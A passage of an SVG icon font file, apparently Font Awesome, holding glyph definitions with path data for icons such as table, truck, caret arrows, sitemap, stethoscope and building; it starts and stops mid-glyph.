q0 -7 1.5 -27t1.5 -31q8 -19 22 -396q6 -195 -15 -304q-15 -76 -41 -122q-38 -65 -112 -123q-75 -57 -182 -89q-109 -33 -255 -33q-167 0 -284 46q-119 47 -179 122q-61 76 -83 195q-16 80 -16 237v333q0 188 -17 213q-25 36 -147 39zM1536 -96v64q0 14 -9 23t-23 9h-1472
q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h1472q14 0 23 9t9 23z" />
    <glyph glyph-name="table" unicode="&#xf0ce;" horiz-adv-x="1664" 
d="M512 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23
v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 160v192
q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192
q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1664 1248v-1088q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1344q66 0 113 -47t47 -113
z" />
    <glyph glyph-name="magic" unicode="&#xf0d0;" horiz-adv-x="1664" 
d="M1190 955l293 293l-107 107l-293 -293zM1637 1248q0 -27 -18 -45l-1286 -1286q-18 -18 -45 -18t-45 18l-198 198q-18 18 -18 45t18 45l1286 1286q18 18 45 18t45 -18l198 -198q18 -18 18 -45zM286 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM636 1276
l196 -60l-196 -60l-60 -196l-60 196l-196 60l196 60l60 196zM1566 798l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM926 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98z" />
    <glyph glyph-name="truck" unicode="&#xf0d1;" horiz-adv-x="1792" 
d="M640 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM256 640h384v256h-158q-13 0 -22 -9l-195 -195q-9 -9 -9 -22v-30zM1536 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1792 1216v-1024q0 -15 -4 -26.5t-13.5 -18.5
t-16.5 -11.5t-23.5 -6t-22.5 -2t-25.5 0t-22.5 0.5q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-64q-3 0 -22.5 -0.5t-25.5 0t-22.5 2t-23.5 6t-16.5 11.5t-13.5 18.5t-4 26.5q0 26 19 45t45 19v320q0 8 -0.5 35t0 38
t2.5 34.5t6.5 37t14 30.5t22.5 30l198 198q19 19 50.5 32t58.5 13h160v192q0 26 19 45t45 19h1024q26 0 45 -19t19 -45z" />
    <glyph glyph-name="pinterest" unicode="&#xf0d2;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103q-111 0 -218 32q59 93 78 164q9 34 54 211q20 -39 73 -67.5t114 -28.5q121 0 216 68.5t147 188.5t52 270q0 114 -59.5 214t-172.5 163t-255 63q-105 0 -196 -29t-154.5 -77t-109 -110.5t-67 -129.5t-21.5 -134
q0 -104 40 -183t117 -111q30 -12 38 20q2 7 8 31t8 30q6 23 -11 43q-51 61 -51 151q0 151 104.5 259.5t273.5 108.5q151 0 235.5 -82t84.5 -213q0 -170 -68.5 -289t-175.5 -119q-61 0 -98 43.5t-23 104.5q8 35 26.5 93.5t30 103t11.5 75.5q0 50 -27 83t-77 33
q-62 0 -105 -57t-43 -142q0 -73 25 -122l-99 -418q-17 -70 -13 -177q-206 91 -333 281t-127 423q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="pinterest_sign" unicode="&#xf0d3;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-725q85 122 108 210q9 34 53 209q21 -39 73.5 -67t112.5 -28q181 0 295.5 147.5t114.5 373.5q0 84 -35 162.5t-96.5 139t-152.5 97t-197 36.5q-104 0 -194.5 -28.5t-153 -76.5
t-107.5 -109.5t-66.5 -128t-21.5 -132.5q0 -102 39.5 -180t116.5 -110q13 -5 23.5 0t14.5 19q10 44 15 61q6 23 -11 42q-50 62 -50 150q0 150 103.5 256.5t270.5 106.5q149 0 232.5 -81t83.5 -210q0 -168 -67.5 -286t-173.5 -118q-60 0 -97 43.5t-23 103.5q8 34 26.5 92.5
t29.5 102t11 74.5q0 49 -26.5 81.5t-75.5 32.5q-61 0 -103.5 -56.5t-42.5 -139.5q0 -72 24 -121l-98 -414q-24 -100 -7 -254h-183q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="google_plus_sign" unicode="&#xf0d4;" 
d="M917 631q0 26 -6 64h-362v-132h217q-3 -24 -16.5 -50t-37.5 -53t-66.5 -44.5t-96.5 -17.5q-99 0 -169 71t-70 171t70 171t169 71q92 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585
h109v110h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="google_plus" unicode="&#xf0d5;" horiz-adv-x="2304" 
d="M1437 623q0 -208 -87 -370.5t-248 -254t-369 -91.5q-149 0 -285 58t-234 156t-156 234t-58 285t58 285t156 234t234 156t285 58q286 0 491 -192l-199 -191q-117 113 -292 113q-123 0 -227.5 -62t-165.5 -168.5t-61 -232.5t61 -232.5t165.5 -168.5t227.5 -62
q83 0 152.5 23t114.5 57.5t78.5 78.5t49 83t21.5 74h-416v252h692q12 -63 12 -122zM2304 745v-210h-209v-209h-210v209h-209v210h209v209h210v-209h209z" />
    <glyph glyph-name="money" unicode="&#xf0d6;" horiz-adv-x="1920" 
d="M768 384h384v96h-128v448h-114l-148 -137l77 -80q42 37 55 57h2v-288h-128v-96zM1280 640q0 -70 -21 -142t-59.5 -134t-101.5 -101t-138 -39t-138 39t-101.5 101t-59.5 134t-21 142t21 142t59.5 134t101.5 101t138 39t138 -39t101.5 -101t59.5 -134t21 -142zM1792 384
v512q-106 0 -181 75t-75 181h-1152q0 -106 -75 -181t-181 -75v-512q106 0 181 -75t75 -181h1152q0 106 75 181t181 75zM1920 1216v-1152q0 -26 -19 -45t-45 -19h-1792q-26 0 -45 19t-19 45v1152q0 26 19 45t45 19h1792q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_down" unicode="&#xf0d7;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_up" unicode="&#xf0d8;" horiz-adv-x="1024" 
d="M1024 320q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="caret_left" unicode="&#xf0d9;" horiz-adv-x="640" 
d="M640 1088v-896q0 -26 -19 -45t-45 -19t-45 19l-448 448q-19 19 -19 45t19 45l448 448q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="caret_right" unicode="&#xf0da;" horiz-adv-x="640" 
d="M576 640q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19t-19 45v896q0 26 19 45t45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="columns" unicode="&#xf0db;" horiz-adv-x="1664" 
d="M160 0h608v1152h-640v-1120q0 -13 9.5 -22.5t22.5 -9.5zM1536 32v1120h-640v-1152h608q13 0 22.5 9.5t9.5 22.5zM1664 1248v-1216q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1344q66 0 113 -47t47 -113z" />
    <glyph glyph-name="sort" unicode="&#xf0dc;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45zM1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="sort_down" unicode="&#xf0dd;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="sort_up" unicode="&#xf0de;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="envelope_alt" unicode="&#xf0e0;" horiz-adv-x="1792" 
d="M1792 826v-794q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v794q44 -49 101 -87q362 -246 497 -345q57 -42 92.5 -65.5t94.5 -48t110 -24.5h1h1q51 0 110 24.5t94.5 48t92.5 65.5q170 123 498 345q57 39 100 87zM1792 1120q0 -79 -49 -151t-122 -123
q-376 -261 -468 -325q-10 -7 -42.5 -30.5t-54 -38t-52 -32.5t-57.5 -27t-50 -9h-1h-1q-23 0 -50 9t-57.5 27t-52 32.5t-54 38t-42.5 30.5q-91 64 -262 182.5t-205 142.5q-62 42 -117 115.5t-55 136.5q0 78 41.5 130t118.5 52h1472q65 0 112.5 -47t47.5 -113z" />
    <glyph glyph-name="linkedin" unicode="&#xf0e1;" 
d="M349 911v-991h-330v991h330zM370 1217q1 -73 -50.5 -122t-135.5 -49h-2q-82 0 -132 49t-50 122q0 74 51.5 122.5t134.5 48.5t133 -48.5t51 -122.5zM1536 488v-568h-329v530q0 105 -40.5 164.5t-126.5 59.5q-63 0 -105.5 -34.5t-63.5 -85.5q-11 -30 -11 -81v-553h-329
q2 399 2 647t-1 296l-1 48h329v-144h-2q20 32 41 56t56.5 52t87 43.5t114.5 15.5q171 0 275 -113.5t104 -332.5z" />
    <glyph glyph-name="undo" unicode="&#xf0e2;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298z" />
    <glyph glyph-name="legal" unicode="&#xf0e3;" horiz-adv-x="1792" 
d="M1771 0q0 -53 -37 -90l-107 -108q-39 -37 -91 -37q-53 0 -90 37l-363 364q-38 36 -38 90q0 53 43 96l-256 256l-126 -126q-14 -14 -34 -14t-34 14q2 -2 12.5 -12t12.5 -13t10 -11.5t10 -13.5t6 -13.5t5.5 -16.5t1.5 -18q0 -38 -28 -68q-3 -3 -16.5 -18t-19 -20.5
t-18.5 -16.5t-22 -15.5t-22 -9t-26 -4.5q-40 0 -68 28l-408 408q-28 28 -28 68q0 13 4.5 26t9 22t15.5 22t16.5 18.5t20.5 19t18 16.5q30 28 68 28q10 0 18 -1.5t16.5 -5.5t13.5 -6t13.5 -10t11.5 -10t13 -12.5t12 -12.5q-14 14 -14 34t14 34l348 348q14 14 34 14t34 -14
q-2 2 -12.5 12t-12.5 13t-10 11.5t-10 13.5t-6 13.5t-5.5 16.5t-1.5 18q0 38 28 68q3 3 16.5 18t19 20.5t18.5 16.5t22 15.5t22 9t26 4.5q40 0 68 -28l408 -408q28 -28 28 -68q0 -13 -4.5 -26t-9 -22t-15.5 -22t-16.5 -18.5t-20.5 -19t-18 -16.5q-30 -28 -68 -28
q-10 0 -18 1.5t-16.5 5.5t-13.5 6t-13.5 10t-11.5 10t-13 12.5t-12 12.5q14 -14 14 -34t-14 -34l-126 -126l256 -256q43 43 96 43q52 0 91 -37l363 -363q37 -39 37 -91z" />
    <glyph glyph-name="dashboard" unicode="&#xf0e4;" horiz-adv-x="1792" 
d="M384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM576 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1004 351l101 382q6 26 -7.5 48.5t-38.5 29.5
t-48 -6.5t-30 -39.5l-101 -382q-60 -5 -107 -43.5t-63 -98.5q-20 -77 20 -146t117 -89t146 20t89 117q16 60 -6 117t-72 91zM1664 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 1024q0 53 -37.5 90.5
t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1472 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 384q0 -261 -141 -483q-19 -29 -54 -29h-1402q-35 0 -54 29
q-141 221 -141 483q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="comment_alt" unicode="&#xf0e5;" horiz-adv-x="1792" 
d="M896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640
q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 174 120 321.5
t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="comments_alt" unicode="&#xf0e6;" horiz-adv-x="1792" 
d="M704 1152q-153 0 -286 -52t-211.5 -141t-78.5 -191q0 -82 53 -158t149 -132l97 -56l-35 -84q34 20 62 39l44 31l53 -10q78 -14 153 -14q153 0 286 52t211.5 141t78.5 191t-78.5 191t-211.5 141t-286 52zM704 1280q191 0 353.5 -68.5t256.5 -186.5t94 -257t-94 -257
t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224q0 139 94 257t256.5 186.5
t353.5 68.5zM1526 111q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129
q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230q0 -120 -71 -224.5t-195 -176.5z" />
    <glyph glyph-name="bolt" unicode="&#xf0e7;" horiz-adv-x="896" 
d="M885 970q18 -20 7 -44l-540 -1157q-13 -25 -42 -25q-4 0 -14 2q-17 5 -25.5 19t-4.5 30l197 808l-406 -101q-4 -1 -12 -1q-18 0 -31 11q-18 15 -13 39l201 825q4 14 16 23t28 9h328q19 0 32 -12.5t13 -29.5q0 -8 -5 -18l-171 -463l396 98q8 2 12 2q19 0 34 -15z" />
    <glyph glyph-name="sitemap" unicode="&#xf0e8;" horiz-adv-x="1792" 
d="M1792 288v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192q0 52 38 90t90 38h512v192h-96q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h320q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-96v-192h512q52 0 90 -38t38 -90v-192h96q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="umbrella" unicode="&#xf0e9;" horiz-adv-x="1664" 
d="M896 708v-580q0 -104 -76 -180t-180 -76t-180 76t-76 180q0 26 19 45t45 19t45 -19t19 -45q0 -50 39 -89t89 -39t89 39t39 89v580q33 11 64 11t64 -11zM1664 681q0 -13 -9.5 -22.5t-22.5 -9.5q-11 0 -23 10q-49 46 -93 69t-102 23q-68 0 -128 -37t-103 -97
q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -28 -17q-18 0 -29 17q-4 6 -14.5 24t-17.5 28q-43 60 -102.5 97t-127.5 37t-127.5 -37t-102.5 -97q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -29 -17q-17 0 -28 17q-4 6 -14.5 24t-17.5 28q-43 60 -103 97t-128 37q-58 0 -102 -23t-93 -69
q-12 -10 -23 -10q-13 0 -22.5 9.5t-9.5 22.5q0 5 1 7q45 183 172.5 319.5t298 204.5t360.5 68q140 0 274.5 -40t246.5 -113.5t194.5 -187t115.5 -251.5q1 -2 1 -7zM896 1408v-98q-42 2 -64 2t-64 -2v98q0 26 19 45t45 19t45 -19t19 -45z" />
    <glyph glyph-name="paste" unicode="&#xf0ea;" horiz-adv-x="1792" 
d="M768 -128h896v640h-416q-40 0 -68 28t-28 68v416h-384v-1152zM1024 1312v64q0 13 -9.5 22.5t-22.5 9.5h-704q-13 0 -22.5 -9.5t-9.5 -22.5v-64q0 -13 9.5 -22.5t22.5 -9.5h704q13 0 22.5 9.5t9.5 22.5zM1280 640h299l-299 299v-299zM1792 512v-672q0 -40 -28 -68t-68 -28
h-960q-40 0 -68 28t-28 68v160h-544q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1088q40 0 68 -28t28 -68v-328q21 -13 36 -28l408 -408q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="light_bulb" unicode="&#xf0eb;" horiz-adv-x="1024" 
d="M736 960q0 -13 -9.5 -22.5t-22.5 -9.5t-22.5 9.5t-9.5 22.5q0 46 -54 71t-106 25q-13 0 -22.5 9.5t-9.5 22.5t9.5 22.5t22.5 9.5q50 0 99.5 -16t87 -54t37.5 -90zM896 960q0 72 -34.5 134t-90 101.5t-123 62t-136.5 22.5t-136.5 -22.5t-123 -62t-90 -101.5t-34.5 -134
q0 -101 68 -180q10 -11 30.5 -33t30.5 -33q128 -153 141 -298h228q13 145 141 298q10 11 30.5 33t30.5 33q68 79 68 180zM1024 960q0 -155 -103 -268q-45 -49 -74.5 -87t-59.5 -95.5t-34 -107.5q47 -28 47 -82q0 -37 -25 -64q25 -27 25 -64q0 -52 -45 -81q13 -23 13 -47
q0 -46 -31.5 -71t-77.5 -25q-20 -44 -60 -70t-87 -26t-87 26t-60 70q-46 0 -77.5 25t-31.5 71q0 24 13 47q-45 29 -45 81q0 37 25 64q-25 27 -25 64q0 54 47 82q-4 50 -34 107.5t-59.5 95.5t-74.5 87q-103 113 -103 268q0 99 44.5 184.5t117 142t164 89t186.5 32.5
t186.5 -32.5t164 -89t117 -142t44.5 -184.5z" />
    <glyph glyph-name="exchange" unicode="&#xf0ec;" horiz-adv-x="1792" 
d="M1792 352v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5q-12 0 -24 10l-319 320q-9 9 -9 22q0 14 9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h1376q13 0 22.5 -9.5t9.5 -22.5zM1792 896q0 -14 -9 -23l-320 -320q-9 -9 -23 -9
q-13 0 -22.5 9.5t-9.5 22.5v192h-1376q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1376v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="cloud_download" unicode="&#xf0ed;" horiz-adv-x="1920" 
d="M1280 608q0 14 -9 23t-23 9h-224v352q0 13 -9.5 22.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-352h-224q-13 0 -22.5 -9.5t-9.5 -22.5q0 -14 9 -23l352 -352q9 -9 23 -9t23 9l351 351q10 12 10 24zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="cloud_upload" unicode="&#xf0ee;" horiz-adv-x="1920" 
d="M1280 672q0 14 -9 23l-352 352q-9 9 -23 9t-23 -9l-351 -351q-10 -12 -10 -24q0 -14 9 -23t23 -9h224v-352q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5v352h224q13 0 22.5 9.5t9.5 22.5zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="user_md" unicode="&#xf0f0;" horiz-adv-x="1408" 
d="M384 192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 68 5.5 131t24 138t47.5 132.5t81 103t120 60.5q-22 -52 -22 -120v-203q-58 -20 -93 -70t-35 -111q0 -80 56 -136t136 -56
t136 56t56 136q0 61 -35.5 111t-92.5 70v203q0 62 25 93q132 -104 295 -104t295 104q25 -31 25 -93v-64q-106 0 -181 -75t-75 -181v-89q-32 -29 -32 -71q0 -40 28 -68t68 -28t68 28t28 68q0 42 -32 71v89q0 52 38 90t90 38t90 -38t38 -90v-89q-32 -29 -32 -71q0 -40 28 -68
t68 -28t68 28t28 68q0 42 -32 71v89q0 68 -34.5 127.5t-93.5 93.5q0 10 0.5 42.5t0 48t-2.5 41.5t-7 47t-13 40q68 -15 120 -60.5t81 -103t47.5 -132.5t24 -138t5.5 -131zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="stethoscope" unicode="&#xf0f1;" horiz-adv-x="1408" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 832q0 -62 -35.5 -111t-92.5 -70v-395q0 -159 -131.5 -271.5t-316.5 -112.5t-316.5 112.5t-131.5 271.5v132q-164 20 -274 128t-110 252v512q0 26 19 45t45 19q6 0 16 -2q17 30 47 48
t65 18q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5q-33 0 -64 18v-402q0 -106 94 -181t226 -75t226 75t94 181v402q-31 -18 -64 -18q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5q35 0 65 -18t47 -48q10 2 16 2q26 0 45 -19t19 -45v-512q0 -144 -110 -252
t-274 -128v-132q0 -106 94 -181t226 -75t226 75t94 181v395q-57 21 -92.5 70t-35.5 111q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="suitcase" unicode="&#xf0f2;" horiz-adv-x="1792" 
d="M640 1152h512v128h-512v-128zM288 1152v-1280h-64q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h64zM1408 1152v-1280h-1024v1280h128v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h128zM1792 928v-832q0 -92 -66 -158t-158 -66h-64v1280h64q92 0 158 -66
t66 -158z" />
    <glyph glyph-name="bell_alt" unicode="&#xf0f3;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5
t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="coffee" unicode="&#xf0f4;" horiz-adv-x="1920" 
d="M1664 896q0 80 -56 136t-136 56h-64v-384h64q80 0 136 56t56 136zM0 128h1792q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM1856 896q0 -159 -112.5 -271.5t-271.5 -112.5h-64v-32q0 -92 -66 -158t-158 -66h-704q-92 0 -158 66t-66 158v736q0 26 19 45
t45 19h1152q159 0 271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="food" unicode="&#xf0f5;" horiz-adv-x="1408" 
d="M640 1472v-640q0 -61 -35.5 -111t-92.5 -70v-779q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v779q-57 20 -92.5 70t-35.5 111v640q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45
t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45zM1408 1472v-1600q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v512h-224q-13 0 -22.5 9.5t-9.5 22.5v800q0 132 94 226t226 94h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="file_text_alt" unicode="&#xf0f6;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M384 736q0 14 9 23t23 9h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64zM1120 512q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704zM1120 256q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704
q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704z" />
    <glyph glyph-name="building" unicode="&#xf0f7;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
